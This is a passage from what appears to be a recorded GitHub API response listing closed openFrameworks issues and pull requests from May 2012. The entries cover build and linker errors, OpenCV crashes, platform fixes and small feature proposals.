collation","labels":[],"closed_at":"2012-05-16T13:43:25Z","created_at":"2012-05-16T13:42:47Z","state":"closed","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":4604623,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1261","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1261.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1261.diff"}},{"updated_at":"2012-05-16T11:42:53Z","body":"in core.xcconfig rtaudio should be rtAudio for HFS case sensitive filesystems, cf #733","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1259","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","closed_issues":70,"open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":1259,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1259","assignee":null,"title":"Fix OSX rtAudio path case ","labels":[],"closed_at":"2012-05-16T11:42:53Z","created_at":"2012-05-15T17:46:34Z","state":"closed","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"id":4588917,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1259","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1259.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1259.diff"}},{"updated_at":"2012-05-18T08:28:15Z","body":"These are the same libs as in https://github.com/gameoverhack/openFrameworks/tree/bugfix-openCV231_O1_WITH_SSE but without the modification to the opencvExample used for testing efficiency.\n\nThose tests showed that these libs were around 4-5% slower than the VS libs when running in Release mode.\n\nI tried a lot of different variations of BUILD options - these libs are compiled with same/similiar options as VS, linux and Mac OSX libs - but when I tried turning off all WITH options I did not get a libopencv_ts231.a and since the byte size of all other resulting libs was the same as these ones I think it's best to just go ahead and use them.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1258","comments":2,"milestone":null,"number":1258,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1258","assignee":null,"title":"Fixes #1253 by re-compiling openCV for mingw32 with -O1","labels":[],"closed_at":"2012-05-15T19:35:38Z","created_at":"2012-05-15T15:26:58Z","state":"closed","user":{"url":"https://api.github.com/users/gameoverhack","gravatar_id":"397ac2141aace0681a354185e7efb0f1","login":"gameoverhack","avatar_url":"https://secure.gravatar.com/avatar/397ac2141aace0681a354185e7efb0f1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331599},"id":4586112,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1258","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1258.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1258.diff"}},{"updated_at":"2012-05-14T11:29:32Z","body":"hey guys,\n\nafter pulling from develop (into my fork) two days ago I can't build opencv related projects anymore. today i tested the openCv example with a fresh and clean oF clone on linux32 and linux64. on linux32 everything works fine but on linux64 i still get the following linking error\n\n\n>../../../addons/ofxOpenCv/libs/opencv/lib/linux64/libopencv_calib3d.a(circlesgrid.o):\n>In function `CirclesGridClusterFinder::hierarchicalClustering(...)':\n>circlesgrid.cpp: undefined reference to `std::__detail::_List_node_base::_M_hook(std::__detail::_List_node_base*)'\n>circlesgrid.cpp: undefined reference to `std::__detail::_List_node_base::_M_transfer(std::__detail::_List_node_base*, std::__detail::_List_node_base*)'\n>collect2: ld returned 1 exit status\n\nor is this a gcc version issue? i'm working on ubuntu 11.04","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1255","comments":2,"milestone":null,"number":1255,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1255","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"linux64 opencv libraries are broken","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"closed_at":"2012-05-14T11:29:32Z","created_at":"2012-05-13T17:36:13Z","state":"closed","user":{"url":"https://api.github.com/users/fx-lange","gravatar_id":"f229f28e1a7bfcfee4e7580660cbcfd7","login":"fx-lange","avatar_url":"https://secure.gravatar.com/avatar/f229f28e1a7bfcfee4e7580660cbcfd7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1012266},"id":4553864,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-29T16:32:01Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1254","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1254,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1254","assignee":null,"title":"Adding ofClear(ofColor c) just a detail","labels":[],"closed_at":"2012-05-29T16:32:01Z","created_at":"2012-05-12T19:15:59Z","state":"closed","user":{"url":"https://api.github.com/users/patriciogonzalezvivo","gravatar_id":"69406d376e65f8070acfbe220f246989","login":"patriciogonzalezvivo","avatar_url":"https://secure.gravatar.com/avatar/69406d376e65f8070acfbe220f246989?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":346914},"id":4548835,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1254","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1254.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1254.diff"}},{"updated_at":"2012-05-17T17:06:39Z","body":"When testing opencvExample against current openCV 2.3.1 static libs in Code::Blocks the application always quits. Debug only shows that this is a SIGSEGV on either cvThreshold or cvFindContour (depending on whether you comment one or the other out). Stack trace is not very helpful, but reports segmentation fault on cv::thresh_8u.\n\nAfter a lot of testing I believe this is a quite specific bug in openCV relating to SSE/SSE2 and optimization level of the build. See:\n\nhttp://code.opencv.org/issues/596\nand\nhttp://code.opencv.org/issues/1896\n\nIn order to confirm this I tried the following with 2.3.0, 2.3.1 and 2.4.0\n\n1. With openCV compiled with SSE/SSE2 on, release and -O3 there IS problems - eg., cvThreshold and cvFindContours crash with SIGSEGV. Current openCV libs in develop seem to be compiled with these settings as they exhibit same crash pattern.\n2. With openCV compiled with SSE/SSE2 off, release and -O3 there is no problem.\n3. With openCV compiled with SSE/SSE2 on, debug and -O3 there is no problem.\n4. With openCV compiled with SSE/SSE2 on, release and -O1 there is no problem. (you can find these here: https://github.com/gameoverhack/openframeworks/tree/bugfix-openCV231)\n\nI am using cmake 2.8, latest openCV downloaded from sourceforge (not SVN) mingw 4.4.1 on a native win 7 box (core 2 duo 4gb ram - fresh install).\n\nBefore making a pull request I figure there needs to be input from everyone about:\na) do we turn SSE/SSE2 off? - I think this will affect efficiency for many functions\nb) what is the difference in efficiency with -O1 vs -O3?\nc) can someone on a machine with more modern GCC manage to compile with -O2\nd) people need to test these libs to see if they are stable\ne) some other magic ;-)\n\nif it is helpful I can upload the many different versions of the libs I have compiled for testing, but #4 above is the only combo with SSE/SSE2 that ran on my machine - which is fairly common configuration...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1253","comments":3,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","closed_issues":70,"open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":1253,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1253","assignee":null,"title":"openCV mingw32 libs crash","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/critical","name":"critical","color":"ff0000"}],"closed_at":"2012-05-15T19:35:49Z","created_at":"2012-05-12T13:19:39Z","state":"closed","user":{"url":"https://api.github.com/users/gameoverhack","gravatar_id":"397ac2141aace0681a354185e7efb0f1","login":"gameoverhack","avatar_url":"https://secure.gravatar.com/avatar/397ac2141aace0681a354185e7efb0f1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331599},"id":4546918,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-10T17:13:40Z","body":"When binding a texture to an ofBox on iOS, it seems to render oddly where certain sides are transparent. Related post on OF forum with image examples below:\r\n\r\nhttp://forum.openframeworks.cc/index.php/topic,9765.new.html#new","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1248","comments":1,"milestone":null,"number":1248,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1248","assignee":null,"title":"ofxBox + bind texture renders oddly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":"2012-05-10T17:13:40Z","created_at":"2012-05-10T03:36:01Z","state":"closed","user":{"url":"https://api.github.com/users/cerupcat","gravatar_id":"91b3d4bfbbb99d840b096cde3af877bf","login":"cerupcat","avatar_url":"https://secure.gravatar.com/avatar/91b3d4bfbbb99d840b096cde3af877bf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":204151},"id":4506336,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-09T19:38:46Z","body":"Fixes issue #1246 ofSystemDialog behaves correctly in VS2010\r\n\r\nTested in CB and VS and seems all a-ok now...was a wide char conversion thing.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1247","comments":0,"milestone":null,"number":1247,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1247","assignee":null,"title":"Bugfix issue #1246 ofSystemDialog in VS","labels":[],"closed_at":"2012-05-09T19:38:46Z","created_at":"2012-05-09T19:24:01Z","state":"closed","user":{"url":"https://api.github.com/users/gameoverhack","gravatar_id":"397ac2141aace0681a354185e7efb0f1","login":"gameoverhack","avatar_url":"https://secure.gravatar.com/avatar/397ac2141aace0681a354185e7efb0f1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331599},"id":4499600,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1247","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1247.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1247.diff"}},{"updated_at":"2012-05-09T20:13:47Z","body":"Heya!\r\ncommits\r\n3b0d89e435307ac528ddf3c164d20532ce070b7b\r\nand\r\nb4f59794e790289996f35a7fe04bd58d38dd65f9\r\n\r\nbreaks file loading in windows rather than fixing it (it worked before!)\r\n\r\ni presume it fixes it for minigw, but breaks it for vs.\r\nreverting to old version for now. Could you have a look at this @gameoverhack ?\r\ni guess marshalling the changes for mingw only would be the way?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1246","comments":4,"milestone":null,"number":1246,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1246","assignee":null,"title":"ofSystemLoadDialog broken on VS2010","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"}],"closed_at":"2012-05-09T20:13:47Z","created_at":"2012-05-09T06:47:16Z","state":"closed","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":4487374,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-24T09:53:58Z","body":"please do not merge just yet.\r\nthis is still a WIP up for discussion in #820","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1244","comments":6,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","closed_issues":70,"open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":1244,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1244","assignee":null,"title":"movie player fixes / optimisations","labels":[],"closed_at":"2012-05-23T14:15:50Z","created_at":"2012-05-06T15:31:42Z","state":"closed","user":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"id":4443897,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1244","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1244.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1244.diff"}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=2&state=closed {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '44978'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"9d6a7179674e934a6c984fd3ee1a6c10"'), ('date', 'Tue, 29 May 2012 18:46:21 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-06T13:15:27Z","body":"fixed videoGrabber orientation issue.\r\nadded support for UIDeviceOrientationPortraitUpsideDown.\r\n\r\ncloses #1207","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1243","comments":0,"milestone":null,"number":1243,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1243","assignee":null,"title":"ios video grabber orientation fix","labels":[],"closed_at":"2012-05-06T13:15:27Z","created_at":"2012-05-06T12:52:50Z","state":"closed","user":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"id":4442888,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1243","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1243.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1243.diff"}},{"updated_at":"2012-05-16T12:16:08Z","body":"removed xcode templates folder. It's a bit out of date now!","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1242","comments":6,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","closed_issues":70,"open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":1242,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1242","assignee":null,"title":"Feature removedxcodetemplatesfolder","labels":[],"closed_at":"2012-05-16T12:16:08Z","created_at":"2012-05-05T10:13:24Z","state":"closed","user":{"url":"https://api.github.com/users/memo","gravatar_id":"b5c0e3c2630097b29680cfeda464024c","login":"memo","avatar_url":"https://secure.gravatar.com/avatar/b5c0e3c2630097b29680cfeda464024c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144230},"id":4435701,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1242","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1242.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1242.diff"}},{"updated_at":"2012-05-04T22:40:39Z","body":"I think Poco needs to be recompiled for the latest version of ofAndroid. I am getting these errors upon building: \r\n\r\nobj/androidRelease/addons/ofxAndroid/src/ofAppAndroidWindow.o: In function `ofxRegisterMultitouch(ofxAndroidApp*)':\r\nofAppAndroidWindow.cpp:(.text+0x10c0): undefined reference to `ofEvents()'\r\nofAppAndroidWindow.cpp:(.text+0x10ec): undefined reference to `ofEvents()'\r\nofAppAndroidWindow.cpp:(.text+0x1114): undefined reference to `ofEvents()'\r\nofAppAndroidWindow.cpp:(.text+0x113c): undefined reference to `ofEvents()'\r\nofAppAndroidWindow.cpp:(.text+0x1168): undefined reference to `ofEvents()'\r\nobj/androidRelease/addons/ofxAndroid/src/ofAppAndroidWindow.o: In function `ofGetOFActivityObject()':\r\nofAppAndroidWindow.cpp:(.text+0x12d8): undefined reference to `ofLog::padding'\r\nobj/androidRelease/addons/ofxAndroid/src/ofAppAndroidWindow.o: In function `Java_cc_openframeworks_OFAndroid_render':\r\nofAppAndroidWindow.cpp:(.text+0x1380): undefined reference to `ofEvents()'\r\nofAppAndroidWindow.cpp:(.text+0x1398): undefined reference to `ofEvents()'\r\nofAppAndroidWindow.cpp:(.text+0x13ac): undefined reference to `ofEvents()'\r\nofAppAndroidWindow.cpp:(.text+0x13bc): undefined reference to `ofEvents()'\r\nobj/androidRelease/addons/ofxAndroid/src/ofAppAndroidWindow.o: In function `Java_cc_openframeworks_OFAndroid_onTouchUp':\r\nofAppAndroidWindow.cpp:(.text+0x1818): undefined reference to `ofEvents()'\r\nobj/androidRelease/addons/ofxAndroid/src/ofAppAndroidWindow.o:ofAppAndroidWindow.cpp:(.text+0x18d0): more undefined references to `ofEvents()' follow\r\nobj/androidRelease/addons/ofxAndroid/src/ofxAndroidSoundPlayer.o: In function `_ZStlsIcSt11char_traitsIcESaIcEERSt13basic_ostreamIT_T0_ES7_RKSbIS4_S5_T1_E.clone.0':\r\nofxAndroidSoundPlayer.cpp:(.text+0x354): undefined reference to `ofLog::padding'\r\nobj/androidRelease/addons/ofxAndroid/src/ofxAndroidSoundStream.o: In function `ofxAndroidSoundStream::androidInputAudioCallback(_JNIEnv*, _jobject*, _jshortArray*, int, int)':\r\nofxAndroidSoundStream.cpp:(.text+0xdbc): undefined reference to `ofLog::padding'\r\nobj/androidRelease/addons/ofxAndroid/src/ofxAndroidSoundStream.o: In function `ofxAndroidSoundStream::androidOutputAudioCallback(_JNIEnv*, _jobject*, _jshortArray*, int, int)':\r\nofxAndroidSoundStream.cpp:(.text+0x10bc): undefined reference to `ofLog::padding'\r\ncollect2: ld returned 1 exit status\r\nmake[1]: *** [libs/armeabi/libOFAndroidApp.so] Error 1\r\nmake: *** [AndroidRelease] Error 2\r\n\r\nThe application crashed when installed and ran on an android device, also posted this issus on the OF forum: http://forum.openframeworks.cc/index.php/board,27.0.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1241","comments":6,"milestone":null,"number":1241,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1241","assignee":null,"title":"ofAndroid: undefined reference to `ofEvents()' ","labels":[],"closed_at":"2012-05-04T22:09:49Z","created_at":"2012-05-04T19:59:58Z","state":"closed","user":{"url":"https://api.github.com/users/rezaali","gravatar_id":"548374013b9c6e50ebbd2294e12d4f31","login":"rezaali","avatar_url":"https://secure.gravatar.com/avatar/548374013b9c6e50ebbd2294e12d4f31?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":555207},"id":4430168,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-16T11:43:23Z","body":"I found a bug in the linux/cleanAllExamples.sh script - it only cleans the first example it encounters.\r\noutput e.g.\r\n\r\n\t-----------------------------------------------------------------\r\n\tcleaning + meshFromCamera\r\n\t./cleanAllExamples.sh: line 16: cd: meshFromCamera: No such file or directory\r\n\trm -rf obj/i686Release/\r\n\trm -f bin/advanced3dExample_debug bin/advanced3dExample\r\n\trm -r bin/libs\r\n\trm: cannot remove `bin/libs': No such file or directory\r\n\tmake: *** [clean] Error 1\r\n\t-----------------------------------------------------------------\r\n\r\nThere's a `cd ..` missing at https://github.com/openframeworks/openFrameworks/blob/develop/scripts/linux/cleanAllExamples.sh#L24\r\nThis PR fixes teh bug.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1240","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/4","number":4,"title":"0071 Release","due_on":"2012-04-08T07:00:00Z","closed_issues":70,"open_issues":0,"created_at":"2011-12-02T15:29:28Z","state":"closed","description":"","id":61808},"number":1240,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1240","assignee":null,"title":"Fix cleanAllExamples script","labels":[],"closed_at":"2012-05-16T11:43:23Z","created_at":"2012-05-04T11:12:27Z","state":"closed","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":4421886,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1240","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1240.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1240.diff"}},{"updated_at":"2012-05-29T15:02:47Z","body":"Adds two new forms of ofToString:\r\n\r\n~~~~\r\nstring ofToString(const T& value, int width, char fill );\r\n~~~~\r\n\r\nBehaves like `\"%04d\"` or `\"%04f\"` arguments to `printf`, with `width=4` and `fill='0'` in this example. Use to prettily align numbers, using `fill=' '`.\r\n\r\n~~~~\r\nstring ofToString(const T& value, int precision, int width, char fill=' ' );\r\n~~~~\r\n\r\n\r\nBehaves like `\"%04.2f\"` with `width=4`, `precision=2` and `fill='0'` in this example.\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1238","comments":7,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1238,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1238","assignee":null,"title":"Feature: ofToString float formatting arguments","labels":[],"closed_at":"2012-05-29T15:02:47Z","created_at":"2012-05-03T14:31:05Z","state":"closed","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366},"id":4406071,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1238","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1238.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1238.diff"}},{"updated_at":"2012-05-03T04:33:15Z","body":"OFXIPHONE_UNKNOWN_DEVICE missing from ofxiPhoneDeviceType.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1237","comments":0,"milestone":null,"number":1237,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1237","assignee":null,"title":"OFXIPHONE_UNKNOWN_DEVICE missing from ofxiPhoneDeviceType.","labels":[],"closed_at":"2012-05-03T04:33:15Z","created_at":"2012-05-03T04:31:57Z","state":"closed","user":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"id":4399262,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1237","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1237.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1237.diff"}},{"updated_at":"2012-05-01T19:05:17Z","body":"I'd like to propose a \"minor\" change to the [OF style guide](https://github.com/openframeworks/openFrameworks/wiki/oF-code-style). I realize that it is based on, yet deviates from, the [Qt style guide](http://wiki.qt-project.org/Coding_Style) and that this issue is a matter of style.\r\n\r\nHowever, I disagree with the whitespace rule with control structures, parenthesized conditions and braces.\r\n\r\nI would like to change the style guide to:\r\n\r\n```\r\nif (foo) {\r\n}\r\n\r\nswitch (foo) {\r\n}\r\n\r\nwhile (foo) {\r\n}\r\n\r\nclass Foo {\r\n}\r\n\r\nvoid methodName(int foo) {\r\n}\r\n```\r\n\r\nI would like to propose this documented style change before committing a patch that makes the above changes. The lack of whitespace between parens and braces, and between flow-control keywords and parens seems to go against the grain of the overall \"Qt-like\" style that the style guide is based on, and postmodern best practices for legibility in C-like languages.\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1231","comments":6,"milestone":null,"number":1231,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1231","assignee":null,"title":"style guide brace-related whitespace guide change","labels":[],"closed_at":"2012-05-01T17:33:30Z","created_at":"2012-05-01T17:14:01Z","state":"closed","user":{"url":"https://api.github.com/users/ybakos","gravatar_id":"41a619faa9d2d02404b369744575b1a6","login":"ybakos","avatar_url":"https://secure.gravatar.com/avatar/41a619faa9d2d02404b369744575b1a6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":5502},"id":4370196,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-01T12:44:52Z","body":"the cvLoad call to load the haar xml results in:\r\n\r\nstrtod$UNIX2003 called from function _ZL16icvXMLParseValueP13CvFileStoragePcP10CvFileNodei in image opencvFaceExample.\r\n\r\nand then it crashes. \r\n\r\nXcode 3.2 with ios 4.1 it doesn't have this issue. \r\nthis is in the 